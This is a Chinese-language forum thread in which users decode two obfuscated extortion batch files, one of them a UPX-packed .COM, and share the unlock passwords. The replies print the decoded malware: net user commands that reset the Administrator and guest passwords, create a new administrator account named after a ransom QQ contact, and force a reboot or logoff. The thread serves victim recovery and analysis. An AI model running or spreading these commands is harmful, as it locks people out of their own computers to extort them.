[其他] [已解决]这两种批处理怎么解密

Blitz

看过论坛里的帖子，知道文件头混淆加密的用copy nul+a.bat b.bat，用QBFC转成exe的用od设断点看路径，但是这两个批处理不会解。。。
上传附件了，注意!!!!!!这两个是别人发的敲竹杠，谨慎运行

见与不见

回复 9# 见与不见


    zfw123   或  CNM5418

见与不见

回复 8# 1055367558


    密码在回帖里面都有

1055367558

回复 1# Blitz


    能说下密码吗？手贱点开了

Blitz

回复 6# 见与不见


    谢谢你!

见与不见

xx.COM里面是upx壳的命令行程序，解密：

ECHO OFF
net user Administrator CNM5418
net user guest CNM5418
net user 要密码加QQ1982949259 CNM5418 /add
net localgroup administrators 要密码加QQ1982949259 /add
shutdown -f -r -t 0
复制代码

bat脚本上面有已经给你解密了。


解密方法（鼠标戳一下）

Blitz

回复 4# 老刘1号


    能不能详细说说

老刘1号

com文件直接rar打开
然而并没有加密，仅仅是混淆，73-75行为勒索代码

0000

c:bat

echo \xEF\x7E\x70\xC7\xCC\x3F\xE9\x56\x38...
net user Administrator zfw123
net user 要密码加QQ1845016856 zfw123 /add
Shutdown -L
echo \xEF\x7E\x70\xC7\xCC\x3F\xE9\x56\x38...
复制代码

0000

看到名字就知道是病毒了
batgame.com ----- bat吧 (百度贴吧) 里的一个坑爹 病毒 作品